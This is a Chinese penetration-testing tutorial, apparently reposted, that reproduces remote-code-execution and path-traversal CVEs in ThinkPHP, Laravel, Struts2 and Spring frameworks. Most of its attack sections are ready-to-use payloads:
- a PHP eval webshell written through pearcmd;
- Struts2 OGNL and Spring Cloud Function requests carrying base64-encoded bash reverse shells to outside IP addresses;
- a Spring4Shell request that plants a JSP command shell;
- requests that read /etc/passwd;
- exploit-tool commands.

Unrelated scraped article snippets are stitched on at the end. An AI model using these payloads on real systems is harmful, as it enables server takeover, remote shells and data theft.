服务攻防-开发框架安全SpringBootStruts2LaravelThinkPHPCVE复现

知识点:
1、PHP-框架安全-Thinkphp&Laravel
2、J2EE-框架安全-SpringBoot&Struts2

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

框架下面会有很多组件(插件)

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等

在这里插入图片描述

一、演示案例-PHP-框架安全-Thinkphp&Laravel

Laravel

是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。
在这里插入图片描述

CVE-2021-3129 RCE

影响版本:

Laravel <= 8.4.2

在这里插入图片描述

利用工具

https://github.com/zhzyker/CVE-2021-3129
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

Thinkphp

版本3.X RCE-6.X RCE

在这里插入图片描述

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架
在这里插入图片描述
在这里插入图片描述
综合工具:武器库-Thinkphp专检(3-6版本)
工具箱下载:https://blog.csdn.net/m0_60571842/article/details/135054522

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

版本6.X lang RCE

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
payload:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/x.php

在这里插入图片描述
在这里插入图片描述

二、演示案例-J2EE-框架安全-SpringBoot&Struts2

Struct2

Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。
可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。

在这里插入图片描述

旧漏洞(CVE-2016-0785等)

老的漏洞工具直接梭哈就行
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

struts2 代码执行 (CVE-2020-17530)s2-061

影响版本:

Apache Struts 2.0.0 - 2.5.25

在这里插入图片描述
在这里插入图片描述

https://github.com/YanMu2020/s2-062
(该脚本支持S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE)

python .\s2-062.py --url http://47.98.193.176:18588/ --cmd id

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Struts2 代码执行 (CVE-2021-31805)s2-062

影响版本

Apache Struts 2.0.0 - 2.5.29

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

post /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

SpringBoot

监控配置不当利用

见前面Actuator-heapdump利用讲解
参考地址:
https://blog.csdn.net/m0_60571842/article/details/135096224

Spring Boot 目录遍历 (CVE-2021-21234)

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。
在这里插入图片描述
复现参考:
https://blog.csdn.net/weixin_43165012/article/details/121152482

payload

windows
http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

在这里插入图片描述
在这里插入图片描述

linux
http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../

在这里插入图片描述
在这里插入图片描述

Spring Cloud Function Spel表达式注入 CVE-2022-22963

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响版本:

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

复现参考:https://developer.aliyun.com/article/1160011

payload

POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
123

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Spring Framework远程代码执行漏洞 CVE-2022-22965

Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供了一个好用的框架。

影响版本:

Spring Framework < 5.3.18
Spring Framework < 5.2.20
Spring Framework 的衍生框架构建的网站或应用

复现参考:https://www.csdn.net/article/2022-11-24/128026635

1、写后门tomcatwar.jsp

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

在这里插入图片描述
2、访问jsp触发后门
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id

3、工具项目
https://github.com/BobTheShoplifter/Spring4Shell-PoC
在这里插入图片描述

python poc.py --url=http://192.168.44.131/

在这里插入图片描述

http://192.168.44.131/tomcatwar.jsp?pwd=j&cmd=whoami

在这里插入图片描述
如何让脚本走bp呢?
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Spring boot命令执行 (CVE-2022-22947)

影响版本:

Spring Cloud Gateway是Spring中的一个API网关。
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway 版本

手工复现参考:https://cloud.tencent.com/developer/article/2164533

1、首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包:

POST /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

在这里插入图片描述
2、然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包:

POST /actuator/gateway/refresh HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述
3、之后,访问 test 路由地址,查看命令执行结果,发送如下数据包:

GET /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述
4、最后,删除所添加的 test 路由,发送如下数据包:

DELETE /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0

在这里插入图片描述
可利用 SpringBootExploit 工具,输入目标地址进行检测环境,使用 SpringCloudGateway 利用链获取目标服务器权限
在这里插入图片描述
漏洞利用成功后,根据提示内容访问 webshell 地址,执行系统命令验证即可。
在这里插入图片描述

综合CVE利用工具

1、https://github.com/0x727/SpringBootExploit
在这里插入图片描述
2、https://github.com/13exp/SpringBoot-Scan-GUI
在这里插入图片描述
3、更多工具利用请参考:https://blog.csdn.net/m0_60571842/article/details/134133830

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/654147.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring Boot通过配置文件支持数据库自定义表名

直接上干货&#xff1a; 例如一个叫xxx的项目&#xff0c;yml文件里加上这段 xxxproject:db:xxxTable: xxx_dbname #自定义的数据库表名创一个Configuration类放表名和Mapper // XxxProjectAutoConfiguration.javaConfiguration MapperScan(basePackages "cn.com.xxxp…

Vue3-插槽(本质也是组件间的交流)

默认插槽 当你在父组件中&#xff0c;有标签需要插入子组件中显示&#xff0c;就需要默认插槽 具名插槽 当你在父组件中&#xff0c;有多个标签需要放置子组件的不同位置时&#xff0c;就需要具名插槽 具名-----》 v-slot:s2 作用域插槽 父组件在插槽中想要使用子组件的值&…

Less-1(sqlmap自动注入攻击)--sqli

环境准备 打开火狐浏览器&#xff0c;进入sqli第一关的页面 工具准备 sqlmap 参数解释 -u URL 指定目标URL进行注入测试。--dataDATA指定POST请求的数据进行注入测试--cookieCOOKIE指定用于身份验证的cookie进行注入测试-p PARAMETER指定要测试的参数--levelLEVEL设置测试的深…

你不知道的Tomcat

Tomcat基本概念 Tomcat是一个Servlet容器&#xff0c;也是一个web容器。我们的请求通过浏览器进入到Tomcat&#xff0c;Tomcat再把请求分发对应的Servlet。 Tomcat核心组件 Connector: 连接器负责处理进入Tomcat的传入连接和请求&#xff0c;然后将它们传递给Server服务对象中…

Qt无边框窗口拖拽和阴影

先看下效果&#xff1a; 说明 自定义窗口控件的无边框,窗口事件由于没有系统自带边框,无法实现拖拽拉伸等事件的处理,一种方法就是重新重写主窗口的鼠标事件&#xff0c;一种时通过nativeEvent事件处理。重写事件相对繁琐,我们这里推荐nativeEvent处理。注意后续我们在做win平…

MySQL知识点总结(二)——explain执行计划、SQL优化

MySQL知识点总结&#xff08;二&#xff09;——explain执行计划、SQL优化 explain执行计划typepossible_keyskeysextra SQL优化SQL优化的流程SQL优化技巧范围查询优化排序优化分组查询优化distinct优化分页查询优化join关联查询优化排序分页 关联查询分组 关联查询 排序in与…

手把手带你Git入门,从下载到精通,常用git命令

文章目录 Git概述什么是GitGit历史Git是什么 为什么要使用Git什么是版本控制系统 Git和SVN对比SVN集中式SVN优缺点 Git分布式Git优缺点 Git工作流程四个工作区域工作流程 Git下载与安装下载window版下载64位软件包安装Git Git基础环境配置设置用户信息查看配置信息 文件的两种状…

ES6.8.6 创建索引配置分词器、映射字段指定分词器、查询数据高亮显示分词结果(内置分词器、icu、ik、pinyin分词器)

文章目录 ES环境内置分词器&#xff0c;以simple分词器示例查询创建索引simple_news&#xff0c;修改分词器为simple插入模拟数据分词查询&#xff1a;返回通过分词查询到的结果、高亮分词分词匹配&#xff1a;写一次示例&#xff0c;其他分词和匹配思路基本一致第一步&#xf…

DMA 和 零拷贝技术 到 网络大文件传输优化

文章目录 DMA 控制器的发展无 DMA 控制器 IO 过程DMA 控制器 传统文件传输性能有多糟糕&#xff1f;如何优化文件传输性能零拷贝技术mmap writesendfileSG-DMA&#xff08;The Scatter-Gather Direct Memory Access&#xff09; 零拷贝技术的应用 大文件传输应该用什么方式Pag…

后台管理系统模板搭建/项目配置

1 项目初始化 一个项目要有统一的规范&#xff0c;需要使用eslintstylelintprettier来对我们的代码质量做检测和修复&#xff0c;需要使用husky来做commit拦截&#xff0c;需要使用commitlint来统一提交规范&#xff0c;需要使用preinstall来统一包管理工具。 1.1 环境准备 1…

idea 创建 spring boot

1.创建步骤 2. 编码添加 2.1 这是自动生成的启动函数 package com.example.comxjctest4;import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;SpringBootApplication public class Application {publi…

MySql的使用方法

一.什么是MySql MySql是一种数据库管理系统&#xff0c;是用来存储数据的&#xff0c;可以有效的管理数据&#xff0c;数据库的存储介质为硬盘和内存。 和文件相比&#xff0c;它具有以下优点&#xff1a; 文件存储数据是不安全的&#xff0c;且不方便数据的查找和管理&#xf…

【3分钟开服】幻兽帕鲁服务器一键部署保姆教程,PalWorld开服联机教程

在帕鲁的世界&#xff0c;你可以选择与神奇的生物「帕鲁」一同享受悠闲的生活&#xff0c;也可以投身于与偷猎者进行生死搏斗的冒险。帕鲁可以进行战斗、繁殖、协助你做农活&#xff0c;也可以为你在工厂工作。你也可以将它们进行售卖&#xff0c;或肢解后食用。 想要部署属于自…

从零开发短视频电商 Tesseract OCR识别增强

文章目录 概要图像预处理阶段默认反转图像重新缩放二值化噪音消除膨胀/腐蚀旋转/偏移校正边框缺少边框边框太大扫描边框去除 透明度/Alpha通道 引擎处理阶段语言模型配置提高识别速度词典、单词列表和模式表格识别 使用 Tesseract OCR 的 GUI 和其他项目 原文如下&#xff1a; …

TypeScript实战系列之合理运用类型

目录 介绍any 和 unknownerve 的用途断言type 和 interfacedeclare 关键字的作用联合类型 和 类型守卫交叉类型 介绍 这篇主要介绍下ts 常用的基本类型和一些常用的技巧性技能 any 和 unknow any 和 unknown 是两个类型关键字&#xff0c;它们用于处理类型不确定或未知的情况…

【Sql Server】新手一分钟看懂在已有表基础上修改字段默认值和数据类型

欢迎来到《小5讲堂》&#xff0c;大家好&#xff0c;我是全栈小5。 这是《Sql Server》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对…

力扣日记1.28-【回溯算法篇】93. 复原 IP 地址

力扣日记&#xff1a;【回溯算法篇】93. 复原 IP 地址 日期&#xff1a;2023.1.28 参考&#xff1a;代码随想录、力扣 93. 复原 IP 地址 题目描述 难度&#xff1a;中等 有效 IP 地址 正好由四个整数&#xff08;每个整数位于 0 到 255 之间组成&#xff0c;且不能含有前导 0&…

IP地址定位技术的巧妙运用:企业网络安全的坚实防线

在当今数字时代&#xff0c;企业网络安全成为了至关重要的议题。面对不断增长的网络威胁&#xff0c;企业不得不采用创新性技术来保护其机密信息和关键系统。IP地址定位技术作为一种强大的工具&#xff0c;为企业提供了一种新颖而高效的网络安全保护手段。 IP地址定位技术简介 …

前端Vue v-for 的使用

目录 ​编辑 简介 使用方式 基本使用 v-for"(item, index)中item和index作用 示例 迭代对象 示例 结果 前言-与正文无关 生活远不止眼前的苦劳与奔波&#xff0c;它还充满了无数值得我们去体验和珍惜的美好事物。在这个快节奏的世界中&#xff0c;我们往往容易陷入…

证券公司怎么选择?福州开股票账户佣金最低是多少?怎么开低佣金账户?

股票交易佣金是指投资者在进行股票交易时&#xff0c;需要向券商支付的手续费。具体的佣金费用根据券商的政策而有所不同&#xff0c;一般分为固定佣金和按比例佣金两种方式。 固定佣金是指交易每一笔固定收取一定金额的佣金&#xff0c;通常适用于较小交易量的投资者&#xf…